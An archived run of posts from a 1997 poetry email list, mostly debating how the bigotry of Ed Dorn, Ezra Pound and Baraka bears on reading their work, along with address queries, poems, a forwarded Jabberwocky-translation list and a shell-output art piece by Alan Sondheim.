As to Pound debate redux -- I most certainly did not tell anyone to stop reading Dorn -- quite the contrary -- Nor in any way does Jones/Baraka come off as "the good guy" in my representation of the letter -- my remark about "irony" was directed to the fact that one poet was apologizing for something to another poet who was about to do the same thing -- I am on record, here and elswhere, with my opinions about antisemitism in Baraka's poetry of the cultural nationalist period, about his criticism of his earlier antisemitism since he has become a

Marxist, and about the fact that he still reads poems in public from that period without much comment about the change --

The system I've borrowed is about to shut off --

I am not going to defend myself for being offended by things that people have said in public -- Nor will I let myself be classed with those censorious folk who WILL tell you what not to read --

Olson said racism has to be kept at the end of a stcik -- he also continued to read Pound --

see y'all later on another topic

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503. **michael corbin**
Re: Nielsen on Dorn
Fri 14 Feb 1997

Rachel Loden wrote:
>
> Aldon L. Nielsen wrote:
> >
> > from the "grand vizier of correct thought" --
> >
> > I'm not going to get sucked into that kind of crap -- Dorn himself, in a
> > letter to the then LeRoi Jones, said letter on deposit in the library at
> > UCLA for your perusal should you care to peruse, apologizes for phone
> > call the previous night -- in which apology he reports that his wife took
> > him to task for "Jew baiting" in the course of the conversation --
> > as my students would say -- "ironic, huh?"
>
> But isn't this the Pound debate again? Pound who said "A hundred yids
> should die for every Fascist that falls" (in his taped ravings)? All
> of this is and must be on the record. But who do we throw out as a
> result of it? Apparently only the poets we dislike (for whatever other
> reason). Those we find essential stay put. Marjorie Perloff made what
> should have been the final statement on this question--what was that
> last zinger, "It can't be Love my Politics, love my poetry." In
> the anecdote above, Dorn's the bad guy, Jones/Baraka the good. Yet
> Jones/Baraka writes of "jewladies" himself, and "faggot handmaidens of
> the french whore," and "some up and coming queer" (long before the word
> achieved its in-your-face currency). And I'm not even willing to part
> with the poem in which he makes some of these references, the
> coruscating "Politics of Rich Painters." What I heard Anselm Hollo

> objecting to was the tendency to make untouchables of our enemies, while
> making excuses for our friends. Please correct me, AH, if I'm wrong.
>

some thoughts (over) heard: there was no 'tendency to make untouchables' of any bodies rather the perspicacity to point out a bigots bigoty. no 'throwing out' did I hear, but if one hears throwing out, it of course presupposes the white noise of the 'in' we are in.

Nielsen rather, with discrimination wrote:

> *Yes, I still read Dorn's work --*
>
> *No, he hasn't, so far as I know, done anything AS BAD as Pound --*
>
> *But is that some immutable measure -- I don't know if Alan Golding will remember this or not, but several years back at a dinner following sessions at the 20th century lit. conference, Dorn made remarks that made my skin crawl -- more cowardly then, I spent the rest of the evening at the other end of the table with Chris & Deborah Parr -- should have confronted him on the spot -- Dorn has much of interest to say still -- as many of us witnessed at Orono last year -- but he's also shown himself a bigot in unforgivable ways -- does one have to have exceeded Pound in some kind of sweepstakes of prejudice?*

No pound as the measure of in-ness (as in indictable co-conspiritor) here or heard, rather the good sense to make the ineluctable political measurement of the propaganda of the deed. a salutary measure of consciousness in the too vigorous search for tendencies that rues the diminution of our better, poesy selves. Lets hope its not so easy to make 'final statements'.

mc

↑ Index

504. michael corbin
Re: names and doubles
Fri 14 Feb 1997

Although impercise in its appliction, a measure of certain consciousnesses available in our present is the cliched 'kafka-esque', over-abundantly used as an adjectival injunction to give order to 'our' disordered lives. But the following is true:

There is another michael corbin (same middle name too) who is a felon; wanted for parole violation and failure to appear in court in the state of michigan. this person also (for perhaps genetic or perhaps cosmic reasons) met my general physical discription including the placement of a small facial scar. This person's

drivers license number very closely approximated mine (close enough for a fine police officer to, perhaps willingly, confuse them). And, clearly for some horoscopical reason, this gentleman had my exact same date of birth.

The reason that I know of the existence of this literal out-law was, of course, that I was thought to be him, by those who had an interest to know him and to get him (I have never been to michigan I assure you and my crimes well . . .). Twice I was accosted by the constabulary during self-conscious gestures of political civil disobedience unrelated to this identity convergance (once against the storage of nuclear waste, the other, unironically, at a demonstration agaisnt police brutality). When mis taken for the michigan gentleman upon my arrest I was jailed until the state of michigan could point out that I was not their man.

Twice more the constabulary engaged me. unfortantely, I was observed being excessive on my motorcycle. On the final instance after 'they', as they say, 'ran my plate' I was mis took for a felon on the run (and speeding on a motorcycle no less). I was approached in high-tabloid-television fashion by the constabulary, their firearms drawn, after I had pulled sheepishly to the shoulder.

I know not if my hieroglyph has been apprehended. But as of this moment I remain at large.

mc

mc

↑ Index

505. Tenney Nathanson
Erica Hunt? Harryette Mullen? (email addresses)
Fri 14 Feb 1997

If anyone on the list has email addresses for Erica Hunt or Harryette Mullen, could you please backchannel me?

thanks,

Tenney

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

506. **maria damon**
Re: names and doubles
Fri 14 Feb 1997

---

corbin rites:
> There is another michael corbin (same middle name too) who is a felon;
> wanted for parole violation and failure to appear in court in the state
> of michigan. this person also (for perhaps genetic or perhaps cosmic
> reasons) met my general physical discription including the placement of a
> small facial scar. This person's drivers license number very closely
> approximated mine (close enough for a fine police officer to, perhaps
> willingly, confuse them). And, clearly for some horoscopical reason, this
> gentleman had
> my exact same date of birth.
etc...

which reminds me of the marvelous anecdote in Our Lady of the Flowers of the young thug who systematically denies being the one who committed a crime by someone who looked just like him, had his date of birth, his name, his address, but...wasnt him. high camp and very charming, a break of hilarity in genet's baroque eroticism.

↑ Index

507. **maria damon**
Re: Aldon, Pat & Rachel
Fri 14 Feb 1997

---

aldon rites
> Come on now guys, ...
etc.

you know i think it's the age of aquarius and everyone's a little undone. everyone at work is totally wigged out and hysterical about nothing of significance...the way this dornpound thread has spun out looks like a similar tempest in a teapot...me, i'm gonna try to get a life, having gotten one of those cards w/ kidnapped kids photos on it as my ONLY valentines day snail mail, and having spent the evening at the gym with the one or two other single folks in the universe. md

↑ Index

508. **Steven Marks**
Re: dante valentini
Sat 15 Feb 1997

On Fri, 14 Feb 1997, k.a. hehir wrote:
>
> To:[redacted]
>
grazie, signor hehir, but have we met? I can't seem to place you.

Samples of reviews, criticism and poetry at

http://members.aol.com/swmarks/welcome.html

↑ Index

509. **jdhollo**
Loden, Damon, re Nielsen/Dorn
Sat 15 Feb 1997

Yes, Rachel, you read me right.

The term 'unforgivable' is not, I don't think, commonly used in a spirit of "some humorous affection" (Maria D.).

But I suppose these "kick-the-dog" (or the Dorn) fits of righteousness ARE excusable--especially considering our shared powerlessness in the face of the corporate-feudal world government's brutality (so eloquently described in Salman Rushdie's message).

to bed, to bed
as Lady Macbeth said

AH Corvus

↑ Index

510. **A. Jennifer Sondheim**
after Valentine's Day's darkness, the darkness sets in
Sat 15 Feb 1997

In Kush

95 dissolves, 96 I 97 know 98 not 99 who 100 or 101 what 102 I 103 am; 104 z 86 105 In Kush, these times are lost; my soul dissolves, I know not who or what I am; these times are dark as Kush is dark and light. 106 these 107 times 108

are 109 dark 110 as 111 Kush 112 is 113 dark 114 and 115 light. 116 . 117 rz 118 pico zz 119 h 120 pico zz 121 sed 's/ksh/Kush/' zz > zzz 122 pico zzz 123 new zzz 124 cat jn zzz > ding 125 rm zzz jn 126 rm zz 127 ls 128 mv ding jn 129 sz jn 130 b 131 m 132 m 133 b 134 h 1 > ding ---------- {k:87} In Kush: In: not found {k:88} Kush, ksh: Kush,: not found {k:89} these Kush: these: not found {k:90} times Shell: 0.61s user 0.83s system Kids: 11.16s user 7.25s system {k:91} are Kush: are: not found {k:92} lost; Kush: lost: not found {k:93} my ksh: my: not found {k:94} soul ksh: soul: not found {k:95} dissolves, Kush: dissolves,: not found {k:96} I ksh: I: not found {k:97} know Kush: know: not found {k:98} not ksh: not: not found {k:99} who alexis ttyp0 Feb 12 03:29(166.84.254.254) sondheim ttyq2 Feb 13 03:00(ts2.nyc.access.n) {k:100} or Kush: or: not found {k:101} what [...HEY!!!!! This message comes from bjc (Brian Cully)... <This Broadcast-message is being sent to all users currently logged-in> disaster averted, shutdown not needed.] {k:102} I Kush: I: not found {k:103} am; Kush: am;: not found {k:106} thse ese ksh: these: not found {k:107} times Shell: 0.63s user 0.93s system Kids: 11.21s user 7.31s system {k:108} are Kush: are: not found {k:109} dark ksh: dark: not found {k:110} as as: error: no input filename given usage: as [-F[O][if]#] [-O[#]] [-S[C]] [-o objfile] [-L] [-R] [-Q] [-P [[-Ipath] [-Dname] [-Dname=def] [-Uname]]...] file.s... {k:111} Kush Kush: Kush: not found {k:112} is Kush: is: not found {k:113} dark ksh: dark: not found {k:114} and Kush: and: not found {k:115} light. ksh: light.: not found {k:116} . {k:117}

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511. **sschu30844**
Re: Randolph Healy
Sat 15 Feb 1997

I lost Randolph Healy's message; would someone kindly forward me another copy (Randolph, are you there?).

Thanks, Susan

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512. **Rachel Loden**
no massacre
Sat 15 Feb 1997

Dear Aldon: first, am distressed that I may have offended you. Whole snafu points up the limits of email, something I've often been lectured on by resident logician who says it should be used for brief bulletins and not to carry anything

with emotional freight. A simple act like pressing the reply button makes it seem that I am talking to you alone (rather than responding to the whole thread). You weren't censoring and I know that. I've recently put the screws to Eliot (on another list) for reasons very similar to the ones that made you highlight Dorn's bad behavior. Which is to say that stuff he said offended me greatly. When I said that there was a tendency to make untouchables of our enemies while making excuses for our friends, I meant that that tendency was mine as well. But neither of us is suggesting censorship, and I don't think that accusation is really anywhere in my post.

It seems possible--now that I think of it in the half-lunacy of 4 a.m. --that the work of someone who is (even slightly) reviled may, in a perverse way, attract more readers than it might have been able to pull in otherwise. I wonder how many people will pick up Dorn after this discussion with new interest, for instance. Who is this guy and how did he get that way? It's more the sort of mildly withering adjectives that Ron Silliman used in his Zones v. Zoos post that might actually have the power to shrink a potential readership, seems to me. What could be worse for a writer than to be perceived as timid or nostalgic, not to mention achingly pretentious? Now those are a real death knell.

Rachel Loden

↑ Index

513. Michael Magee
valentine poem
Sat 15 Feb 1997

Hi, I just joined the list and thought I would offer a valentine poem one day late.

HALF-PETRARCHAN LOVE SONNET

Y
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-Mike Magee.

↑ Index

514. Tom Mandel
racism, racist poets
Sat 15 Feb 1997

How a person behaves -- what the person thinks, says and does -- ought certainly to determine how one relates to that person -- what one thinks, says, does in re: him/her. Any problems so far?

Writing -- that's thinking, saying, doing. Still with me?

Reading -- ditto. Are we on the same page?

Simple so far. Ed Dorn comes around me, I'll bust him one good in the chops whatever his skills as a poet, whatever my friend Anselm thinks. No grand zodiacs of correctness involved. You might want to read Rushdie's valentine into this space.

What makes you think you can separate reading from ethics? Aesthete? You imagine that writing and reading in the absence of ethics are anything but "trade" to use Rushdie's term.

As to pointing out the contradiction in someone's work, that's certainly a start, but it absolutely excuses the sayer if nothing else changes.

People keep imagining that someone can provide an exposition to resolve an issue like this in some sort of theory, that there's some sort of path through it. There is no intellectual resolution available to allow one to consort with hateful behavior.

My father used to say "lie down with dogs, get up with lice." If you have the time or strength or want to pick the lice off yourself, you're safe to lie down with racists, anti-semites, queer-haters, fatwa-issuers, collaborators with the Nazis, and the like. Perhaps it really won't do you any harm? Perhaps it's really not objectionable? Perhaps the regime really won't be as bad as they say? Perhaps it'd be okay to accommodate just for the brief time the phenomenon is present? Perhaps, since so many feel so comfortable in taking the ride, they are not wrong after all. Juden heraus.

As I say, Dorn around me? Punch in the mouth.

Tom

Tom Mandel
****
Screen Porch * [redacted]

4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

↑ Index

515. **amato**
the more things change (fwd); dorn...
Sat 15 Feb 1997

---

a note of thanx to alan j. sondheim for the forwarded post on telegraph technologies... i've heard these stories before, and it's nice to have some formal sources to check out... my wife kass fleisher and i met online, so i have a personal (and professional) interest in such stuff...

and i've heard too many stories about dorn, from too many folks who know him too well, not to be aware of problems with him personally & politically... which is revealed in his public self, finally, b/c he *has* a public self that's often *very* public... i don't think aldon was suggesting that we don't read his work -- aside from _slinger_, _way west_ has some fine fine work in it, and if you've spent any time at all in idaho, dorn's writing on same reveals a terrific touch...

so a call for us ALL -- pleez? pretty pleez? -- not to get into these testy waters looking for combat... if you know the man and like the man and feel the urge to rush to his defense as a friend or acquaintance, give a bit of pause -- you'll still have to contend with some pretty awful public realities... yeah, maybe we're ALL pretty awful deep down inside, or not so deep, but then i'd simply have to observe that, art aside, we ought to reserve those moments for the intimate few who can tell us where to get off...

apologies for the homily///

best,

whollyjoe

↑ Index

516. **Miekal And**
[Fwd: CONLANG: Jabberwocky Translations]
Sat 15 Feb 1997

This is a multi-part message in MIME format.

passed on by miekal

> with NJE id 3580 for [redacted]; Sat, 15 Feb 1997
> 13:06:32 -0500
> V1.2a/1.8a) with BSMTP id 4289; Sat, 15 Feb 1997 13:06:32 -0500

TCP; Sat, 15 Feb 97 13:06:31 EST
mail.inreach.com (8.8.3/8.7.1) with SMTP id KAA19703; Sat, 15 Feb 1997 10:03:23 -0800 (PST)
KAA19703
Date: Sat, 15 Feb 1997 10:12:18 -0800
From: "Leo J. Moser" <[redacted]>
Organization: LJM
Subject: CONLANG: Jabberwocky Translations
To: Multiple recipients of list CONLANG <[redacted]>
KAA19703

Leo Moser supplies a copy of a webpage of links to Jabberwocky Translations: Choktaw to Klingon to Welsh! (see end for ref.)
@@@

French
Le Jaseroque, Frank L. Warrin
Jabberwocky, Henri Parisot
Jabberwocheux / Bredoulocheux Henri Parisot
Le Berdouilleux, André Bay
Le Jabberwocky, J. B. Brunius
[Jabberwocky] Antonin Artaud

German
Der Jammerwoch, Robert Scott
Brabbelback Lieselotte & Martin Remane
Der Zipferlake, Christian Morgenstern

Hungarian
Szajkóhukky Weó´res Sándor

Italian
Il Ciarlestrone, Adriana Crespi

Klingon
ja'pu'vawqoy, keith lim

Latin
Gaberbocchus Hassard H. Dodgson
Mors Iabrochii Augustus A. Vansittart

Norwegian
Dromeparden Zinken Hopp

Polish
Dz~abbersmok Maciej S/lomczyñski

Rumanian
Traxncaxniciada Frida Papadache
Bîzdîbocul Nina Cassian

Russian
Barmaglot (ASCII) / Barmaglot (Cyrillic text) / Barmaglot (Cyrillic, GIF) E. Orlova (with O. Demurova)
Umzari U.L. Oryol
Tarbormo+ski A. ^Serbakova
[Jabberwocky] [translator unknown]

Slovak
Taradúr Juraj & Viera Vojtek

Spanish
Chacaloco Erwin Brea

El Jabberwocky Adolfo de Alba
El Dragobán M. Manent

Swedish
Jabberwocky [translator unknown]
Jabberwocky, Louise Arosenius
Jabberwocky, Gösta Knutson
Tjatterslånet, Eva Håkanson
Tjatterskott, Harry Lundin

Welsh
Siaberwoci, Selyf Roberts

the jabberwocky variations:
[introduction | translations | parodies | acknowledgements]

chil

email keith: [redacted]

----------7CC21EE95BBD--

↑ Index

517. Miekal And
Re: our vale in time
Sat 15 Feb 1997

---

greetings all,

miekal & liaizon & i were blessed on valentine's day (a holiday which like most others we usually ignore (except xmas which happens to fall on miekal's birthday)).

at around 5:30 pm we looked outside our east window & saw the following sight:

EIGHT CARDINALS PERCHED IN OUR SUGAR MAPLE - SEVEN MALES & ONE FEMALE!

in all my 40 years i've never seen more than three maybe four cardinals together. but eight! the effect on me was one of awe, of sacredness, of good omen, blessedness, almost a trippy feeling of having one's reality strangely but pleasantly tweaked or shifted. what a valentine's gift, those live bright red splotches in the grey-brown winter branches on a backdrop of white snow. who needs poetry (or watercolors) when you've got mother nature?

more miraculous if it'd happened in a city.. . glad to be out "in the sticks" [actually, we're at the milktruck frequented cross-section of two county highways;

there are street lamps shining out the west windows...BUT, compared to any city i've been in lately, this is still "the sticks"]

-lyx ish
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

518. Elizabeth Mathews Losh

Re: names

Sat 15 Feb 1997

According to the Oxford English Dictionary "Losh" is is a word which is onomatapoetic in origin and means "to fall with a splash" or "to go stumbling" as in "Yet am I not so sheepish to losh into the Ditch" (1629). It also is a "distortion of Lord, used in certain exclamations" as in "The losh preserve me, sirs" (1779) or "Losh me! that's beautiful language!" (1855).

Losh is a surprisingly rare name outside of Pennsylvania and most people don't know quite how to pronounce it. Whenever I am introduced at a reading I write on a small slip of paper ("rhymes with GOSH"), as people generally assume "rhymes with GAUCHE."

I suspect that it is a name of German origin as everyone in my father's family is German American. But my father insists that it isn't really from "Losch" but rather "Loches," the picturesque French chateau in the Loire Valley made famous by Joan of Arc and some rather grotesque stories about its dungeon. This year he was triumphant when, after tracing the family genealogy back 350 years, he finally arrived at some French speakers who were religious dissidents to boot. I still believe that we are all middle class Krauts and that all other etymologies are just wishful thinking.

"Losh" is also the title of a book from Charasse Press Incorporated, Copyright 1975 by Brian Grieveson. I believe that Losh is the Native American heroine of the book who dies tragically at the end and who also has a daughter named Losh. The book is cryptically dedicated to "Losh Roxanne." The last line of the book is: "I love you, Losh"

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519. **B Staker**
Re: NEW ADDRESS FOR POETICS LIST
Sun 16 Feb 1997

OPTIONS

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520. **Eliza McGrand- CVA Guest**
Re: racism, racist poets
Sun 16 Feb 1997

the way i usually think of it is that if a writer is blind, fool, and dishonest enough to either believe, or, not believing, still become a propaganda machine for racism, facism, oppression, torture, murder, repression, etc (yes i AM including pound here) i find their entire ouevre considerably less credible. yes, as with elliott and his pathetic anti-semitism, a writer might still have tremendous gifts which are only tarnished by such behavior, but the gift IS tarnished, and i lose that wonderous, celebratory sense when reading because i must pass everything i read and every feeling of admiration through the considerable filter of knowing the writer has been horrifically, at the least, misled.

to put it more succinctly, imagine reading tillie olson or that old favorite, meridel leseuer; one lets go, accepts premises willingly, is buoyed up on a respect and admiration verging on worship, learns, opens, takes in an extraordinary synthesis of emotion, compassion, skill, communication, immediateness, clarity... then imagine reading pound, especially after hearing one of those whacked anti-semitic broadcasts. you admire, but reluctantly. you distrust what you admire. you distrust his ability, innovativeness, wonder who he copied and stole from, what horrific use THAT particular idea will be put to...

you might still read, though i wouldn't read in any context that puts money in the artists' hands (buy film ticket, or book, for example). but it isn't a good read, a whole-hearted read. yes, there are degrees: elliott, though a misled snob in many respects, is not, i think, on the level of pound who was LIVING with the horrors of anti-semitism and facism in action and still enthusiastic in their support... e

↑ Index

521. **Christina Fairbank Chirot**
Kocik address query
Sun 16 Feb 1997

Might anyone have an address--snail or otherwise--for Robert Kocik? Would appreciate such if okay to be passed on.

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522. **Aldon L. Nielsen**
Re: NOT about Pound
Sun 16 Feb 1997

Has anyone on the list had a look yet at this new novel by Julian Rios, _Poundomania_, that I see noted in this morning's _NY Times_ -- Sounds fantastic, but, despite being a Dalkey Archive production, seems not to have shown up in bookstores here yet --

AND while we're on the subject of innovative writing in Spanish, does anyone have leads on more recent Spanish Language poets whose verse is as interestingly put together as Rios's prose? I've been a bit cut off since moving away from a Spanish Language bookstore where they looked out for me --

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523. **amato**
Re: racism, racist poets
Sun 16 Feb 1997

e -- if what you say is the case -- and for me it is -- then the converse holds?... i think it does... that is, if i really take to someone, i'm that much more likely to WANT to like someone's poetry... which isn't to draw any hard & fast lines, or connections, just to indicate again how the person-al can inflect perceptions of product...

best,

joe

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524. **maria damon**
Re: racism, racist poets
Sun 16 Feb 1997

mandel, i find your complete lack of ambivalence on this score very likeable, though i don't share it. or rather, i share it selectively. for example, i'm not a fan of pound because of his politics but i am a fan of gertrude stein. how do you see stein?
>

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525. **maria damon**
ANNOUNCEMENT: FWD FROM ERIK BELGUM
Sun 16 Feb 1997

VOYS is a new sound journal on CD dedicated to exploring all aspects of speech (editors Erik Belgum and Brian West).

VOYS #1 features Raymond Federman reading his novel, "The Voice in the Closet."

VOYS #2 will feature various works around the theme of "Speech and Electronics."

Future issues tentatively include the following: realizations of the plays of Gertrude Stein, storytelling, glossolalia, new works by various writers/audio artists/sound poets, etc., etc.

Subscriptions are $28/year for 2 CD's ($32/year overseas). Send check or money order payable to VOYS, PO Box 580547, Minneapolis, MN 55458-0547.

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526. **Gwyn McVay**
Re: racism, racist poets
Sun 16 Feb 1997

But there is a very real sense in which Pound was not "living with" anything like the horrors of fascism--he was geographically isolated at Rapallo, had no mail from the US during the war, and had a comfortable buffered zone of privilege--a safe place from which to spout his bullshit.

As for Dorn, his public statements have been execrable in a number of ways--in the early years of the AIDS pandemic he published some really nasty anti-gay stuff. I don't think it would be skillful means for me, in particular, to punch him in the mouth. But it doesn't exactly lead me to spend my limited "disposable" income on his books, either. For me, the Dorn issue is just a re-teaching of that truth: just because someone is black, Latino, Asian, First Nations, queer, a poet, an innovative poet, a leftist, whatever doesn't mean they're "cool."

Gwyn

↑ Index

527. **Gwyn McVay**
Lazer's /Opposing Poetries/
Sun 16 Feb 1997

Yo, Hank Lazer, she said rather publicly, mercy boocoo for all of the excellent work and thought and scholarship and insight that went into producing /Opposing Poetries./ A great service to readers.

Gwyn

↑ Index

528. **Jordan Davis**
no coast of Nebraska (bad/good)
Sun 16 Feb 1997

Rod -- tragedy (by which I guess you mean the tendency to neglect the need to focus) (or maybe you mean a work of art that records the events befalling ((no more absolutes)) those with a problem dilating) (or maybe in all this pastiche ((the word's like caulk (((breathing forever))) and in an old place unfixed a long time you need caulk)) the fractal's a star on the brow of a deathshead) wouldn't be so bad to see -- Clement Greenberg said Jules Olitski was the final product of abex but he meant it in a good way -- apex of the ibex -- fin

↑ Index

529. **henry**
Re: no coast of Nebraska (bad/good)
Sun 16 Feb 1997

---

sorry to interrupt, fellas, just wanted to point out that the fractal's a version of penrose tiling (the goulden section). Unrepeatable, pace Clement. Nonperiodical, no tragedy intended. You listening, Jules? - Poetry Chicken

Time silvers the plow
& the poet's voice.
- Olitsky/Mandelstam

re: Dorn

He walked into a doorjamb head first,
like the sleuth of anger he was temperate
and prey to the gods, like the "silent swerving
from accuracy by an inch that is
the uncanny element in everything. . .
a sort of secret treason in the universe"
he played at coyote. He he.

Don't throw your fist
at the shadow of the Devil's inkpot.
Ye are gods - bless they that curse ye.
Excuse not thy offenses
at the trough of World Valentine Corporation.
For the Valentine that ye purchase so dearly today
is the Valentine ye ought to have given yesterday.

↑ Index

530. **Tosh**
(no subject)
Sun 16 Feb 1997

I think it is bad when we exculsively mix moralistic tendencies with art. I mean you can appreciate someone's politics and say 'wow, this person is right on, and therefore is a good poet...but also can't someone just be plain evil and be a great artist. I think this is possible. I think the reader just has to work harder in knowing the in-and-out of that artist's thinking and deal with it. I don't know why an artist has to be on a higher moral ground.

Tosh Berman
TamTam Books

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531. **DS**
Re: racism, racist poets
Sun 16 Feb 1997

I felt much the same about dorn after last saturday night. (yech)

> *As I say, Dorn around me? Punch in the mouth.*
>
> *Tom*
>
> *Tom Mandel*
> ****

↑ Index

532. **maria damon**
Re: same old thing
Sun 16 Feb 1997

In message <v01540b03af2d02a342f4@[207.211.61.139]> UB Poetics discussion group
writes:
> I think it is bad when we exculsively mix moralistic tendencies with art.
> I mean you can appreciate someone's politics and say 'wow, this person is
> right on, and therefore is a good poet...but also can't someone just be
> plain evil and be a great artist. I think this is possible. I think the
> reader just has to work harder in knowing the in-and-out of that artist's
> thinking and deal with it. I don't know why an artist has to be on a
> higher moral ground.
>
> Tosh Berman
> TamTam Books

actually, i mix "moralistic tendencies" much less with art than with other pursuits, such as friendship. for instance, i enjoy reading william burroughs, although he shot his wife. althusser also killed his wife, and i teach his ideas in class (not uncritically, though my critique does not solely rest on his uxoricide). i doubt very much, though, that i could be friends with someone who shot his wife. of course, it depends on the circumstances; in both of these cases, the guys were not in their right minds at the time, but still they were doing something that seems somehow culturally condoned for guys who are not in
their right minds. also, i'm not sure disliking someone's anti-semitism is a moral issue; it seems more one of self-preservation and self-respect. btw, ezra pound wasn't just a great poet who happened to be anti-semitic; his anti-semitism was the substance not only of his poetry but of his life choices and most passionate political public activities. i don't care much for pound. now some folks would call genet an anti-semite for various reasons. i have only been able to find one anti-semitic statement in all of his oeuvre, which i passionately adore. (though that one sentence makes me uncomfortable.) how did
"morality" get mixed up in this discussion anyway?--md
>

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533. Eliza McGrand- CVA Guest

Re: racism, racist poets

Sun 16 Feb 1997

---

ahhhhh joe! we are back to taste are we...

yes, it is true. and yet, isn't there that sickening disappointment we have all known when we've met someone, and they've been great, talked the great talk, walked the great walk, and then we look at their writing and KABAAM! with the best will in the world, we cannot bring ourselves to think we like it, or it's any good...

and the converse; someone who is a wretch as a person, dishonest, mean spirited, manipulative, and they write like an angel...

but yes. i think the source stains the message, or lifts it sometimes.

it is so tangled up, really. you read donne, the sermons about giving and giving up things for others, or herbert. and it's all very nice and good-good talk, you think, still, there's something really lovely but then, then you find out that herbert relinquished the immense perks of his class, time, position, to go off and care for a small country flock against all advice for proferrment. and the tender, humble, gentle verse he writes, the simplicity and sympathy, resound so very much... or donne, after his wild youth, and wilder marriage, and imprisonment and hopeless poverty, and then he writes of what one renounces for love, and a love bought dear, and you hear the brilliant urbanite scholar crying out in each phrase against the poverty and obscurity and shame, and that he can still hold to a tenderness, a valuing rather than a bitterness, it is quite moving... e

↑ Index

534. Schuchat Simon

Re: new Adorno, Bernstein, Killian, Nielsen etc. @ B St

Sun 16 Feb 1997

Good morning Rod, hope all is well & not too snowy.

I'd like to order some books:

TANGLED LOYALTIES: LIFE & TIMES OF ILYA EHRENBERG, Joshua Rubenstein, Basic Books

JOHN'S WIFE, Robert Coover

PINOCCHIO IN VENICE, Robert Coover

IMAGINATION VERSES, Jennifer Moxley, Tender Buttons

BLACK CHANT, Aldon Nielsen, Cambridge

SOME OTHER KIND OF MISSION, Lisa Jarnot, Burning Deck

THE LACK, Rod Smith, Abacus

PENGUIN MODERN POETS #10, Doug Oliver/Denise Riley/Iain Sinclair

LUSH LIFE, Bill Berkson, Z Press

POWERLESS, Tim Dlugos, Serpent's Tail

LE DIVORCE, Diane Johnson

THE DIARY OF JAMES SCHUYLER, Black Sparrow (paperback edition)

SEEDINGS, Jerome Rothenberg, New Directions

GEOGRAPHICAL HISTORY OF AMERICA, Gertrude Stein (I believe this is again in print, but not sure from whom)

As always, please mail to

Simon Schuchat
AIT Taipei - ECON
Department of State
Washington, DC 20521-4170

Also, don't bother with items that I might have put on earlier lists but which you couldn't then find (particularly TRAIL OF THE SILKWORM, which I picked up on my last visit to Hong Kong), with the sole exception of the Bruce Andrews AERIAL, wheneverit comes out.

Hope you had a happy Chinese new Year & all best for the year of the golden cow!

Cheers,
Simon

↑ Index

535. **Schuchat Simon**
apologies
Sun 16 Feb 1997

---

sorry to have sent a personal message to the whole list.

not what I am reading, but what I intend to read.

↑ Index

536. **David Bromige**
Flawed Makers
Mon 17 Feb 1997

That was y o u r goodness, intelligence, affirmation, sorrow, y o u r ability to feel beauty, truth, evil, tyranny, honesty, that you found in the poem, whichever poem, into that wordnet you were drawn and from you these qualities were made to resound there made apparent, sensuously their intelligence apprehended came back to you from this more-than-a-Rorschach arrangement of letters. . . So how could you be deceived about an experience this personal? Even though the person who put that poem there for you to read were evil incarnate and o n l y that? The music from a broken heart can resonate for a long, long time.

The above being my take on the poem Ted wrote. Thanks for posting it, Anselm.
db

↑ Index

537. **main**
tarn address
Mon 17 Feb 1997

---

nathaniel tarn house/email address.
please backchannel.
thanks,
dan featherston

↑ Index

538. **Aldon L. Nielsen**
Re: new Adorno, Bernstein, Killian, Nielsen etc. @ B St
Mon 17 Feb 1997

Now here's one real advantage to the mistakes people make when hitting that reply key -- We are finally back to reading lists -- I'm impressed with both the range and the quantity of Simon's order from Rod -- hope he reads mine first! -- but I think I'll take a few items from his list and add them to my own current reading --

Have finally gotten to the reading lists in the new book on Olson's reading -- The real meat is in the footnotes --

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539. jen hofer
mexican poetry in translation
Mon 17 Feb 1997

i'm trying to find out everything possible there is to know about books published recently (say, in the last five years, but particularly in the last year) of mexican poetry in translation, preferably bilingual editions, and particularly work by women, & even more particularly "innovative" or "experimental" or "non-traditional" or "unconventional" (or etc etc etc) work by women. i know about forrest gander's book & juvenal acosta's & marjorie agosín's & i'm familiar with the work of suzanne jill levine & eliot weinberger (& probably some others i'm forgetting but just so you don't spend tons of energy helping me out with things i already know)--anyone want to tell me everything else about everything else?

many thanks,
jen

↑ Index

540. jdhollo
One each from Bert and Ted
Mon 17 Feb 1997

Bertolt Brecht: THE MASK OF EVIL

On my wall hangs a Japanese carving
The mask of an evil demon, decorated with gold lacquer.
Sympathetically I observe
The swollen veins of the forehead, indicating
What a strain it is to be evil.

Translated by H.R. Hays

Note: the German "boese" cd also be rendered "angry, furious."

Anselm Hollo: LINES FROM TED (Berrigan) XIV

The poet whose works you love
Who's changed your life
& given it shape & become a Great Moral Source
Of Support in your life
May just be a prick with a bad character
Don't let that worry you
They just have bad days all the time
If you're vulnerable to never wanting to read their works again

when you find that out
Then never go any closer to them than this
Because it's the works that are the truth
Every person has a right
Poet or not
to be judged by their best
The only credit poets get is for being poets
Then putting their words together & coming up with poems

As an oldtime/oldfashioned, even, rootless ("we got legs, not roots") cosmopolite of long standing, I personally regard all self- or "identity"-definition based on "othering the Other" as a big mistake. It makes this species, all of us, atavistically vulnerable to the pathological fear and paranoia that often finds its expression in all kinds of forms of scapegoating, racism, bigotry, etc. Such brain function aberrations are traditionally exploited by demagogues warlords and "business" and "religious" "leaders." It's a tough one; the propensity seems quite "hard-wired," hence requires constant vigilance, first and foremost in regard to oneself. Paranoia is far more addictive than the old poppy juice.

Sweet dreams, and good morning

Anselm

↑ Index

541. **Bil Brown**
Re: One each from Bert and Ted
Mon 17 Feb 1997

> *As an oldtime/oldfashioned, even, rootless ("we got legs, not roots") cosmopolite of long standing, I personally regard all self- or "identity"-definition based on "othering the Other" as a big mistake.*

What exactly is "othering the other"... explain. Please.

↑ Index

542. **Thomas Bell**
Re: racism, racist poets
Mon 17 Feb 1997

I would respond with a jaundiced eye and ear to Dorn's poetry if he had kept his mouth shut for years but then I found out his true feelings later. Honesty in one realm is likely to be true in other realms. tom bell

↑ Index

543. aerialedge
Re: no coast of Nebraska (bad/good)
Mon 17 Feb 1997

